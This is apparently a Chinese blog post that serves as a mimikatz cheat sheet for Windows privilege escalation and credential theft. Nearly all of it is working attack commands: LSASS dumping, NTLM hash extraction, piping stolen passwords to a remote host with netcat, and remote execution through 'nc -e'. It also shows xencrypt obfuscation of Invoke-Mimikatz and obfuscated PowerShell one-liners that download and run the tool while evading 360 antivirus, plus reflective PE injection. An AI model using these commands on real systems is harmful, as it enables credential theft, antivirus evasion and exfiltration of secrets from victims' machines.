• windows提权之mimikatz


    mimikatz

    privilege::debug   #提权命令
    sekurlsa::logonPasswords    #抓取密码
    winmine::infos  #扫雷作弊
    lsadump::lsa /patch   #获取当前此计算机存在过用户的NTLMHASH
    
    procdump64.exe -accepteula -ma lsass.exe lsass.dmp #导出为lsass.dump文件
    sekurlsa::minidump lsass.dmp  #配合procdumo将李飒飒啊、进程内存文件导出到本地,并利用mimikatz进行密码的读取
    sekurlsa::minidump logonPasswords full
    

    配合使用:

    将输出传输到远程机器:
    
    nc -lvp 4444
    mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.114.136 4444
    
    通过nc远程执行Mimikatz:  
    
    nc -lvp 443
    nc.exe -vv 192.168.114.136 443 -e mimikatz.exe  
    

    当无法抓取新密码的时候:

    privilege::debug
    misc::memssp
    

    其他功能:

    system::user   #查看当前登录的系统用户
    system::computer #返回当前的计算机名称
    ts::sessions   #显示当前的会话
    ts::processes windows-d.vm.nirvana.local   %显示服务器的进程和对应的pid情况等。
    
    免杀

    Get-ExecutionPolicy  #结果显示restricted
    Set-ExecutionPolicy Unrestricted  #打开限制
    Import-Module ./xencrypt.ps1   #加密invoke-mimikatz.ps1
    
    Invoke-Xencrypt -InFile C:UsersDellDesktop工具集一句话连接,菜刀冰蝎xencrypt-masterInvoke-Mimikatz.ps1 -OutFile C:UsersDellDesktop工具集一句话连接,菜刀冰蝎xencrypt-masterxenmimi.ps1
    
    usage:  
    Import-Module .xenmimi.ps1
    Invoke-Mimikatz   
    
    
    通过-Iterations标志支持递归分层加密:
    Import-Module ./xencrypt.ps1
    Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
    
    usage:
    
    Import-Module .xenmimi.ps1
    Invoke-Mimikatz
    

    远程加载/Powershell免杀
    powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz-DumpCreds"
    
    此时360判断为PowerShell下载攻击并弹窗,360针对powershell的http协议下载查杀,但是检查内容只是命令中出现http,所以只需要一步简单的替换即可绕过('htxtp://is.gd/oeoFuI' -replace 'x','')。  
    
    也可以简单混淆:  
    
    powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
    
    #在Windows server 2008 及之前 可以使用此命令
    
    powershell "IEX (New-ObjectNet.WebClient).DownloadString(('htxtp://is.gd/oeoFuI' -replace 'x',''));Invoke-Mimikatz -DumpCreds"  
    
    这样就好了。
    
    powershell加载exe进内存运行需要PowerSploit中的Invoke-ReflectivePEInjection脚本。  
    
    powershell.exe -exec bypass IEX (New-ObjectNet.WebClient).DownloadString(('htxtp://suo.im/5FAjaC' -replace'x',''));Invoke-ReflectivePEInjection -PEUrlhttp://x.x.x.x/mimikatz.exe-ExeArgs"sekurlsa::logonpasswords" -ForceASLR
    
    #Windows server 2009 及之后
    
    powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/wv7uNQrc'); Invoke-Mimikatz" 
    
    msf使用
    在meterpreter中加载mimikatz模块
    load mimikatz
    
  • 相关阅读:
    JavaScript之美读书笔记一
    关于form与表单操作
    正则表达式中的字符转义
    [codeforces 391D2]Supercollider
    [AMPPZ 2013]Bytehattan
    [那些你所不知道的鬼畜写法]平衡树学习笔记
    [AHOI 2006][BZOJ 1269]文本编辑器editor
    [BZOJ 3622]已经没有什么好害怕的了
    [POI 2008]Mafia
    [POI 2008][BZOJ 1132]Tro
  • 原文地址:https://www.cnblogs.com/ophxc/p/13528791.html
Copyright © 2020-2023  润新知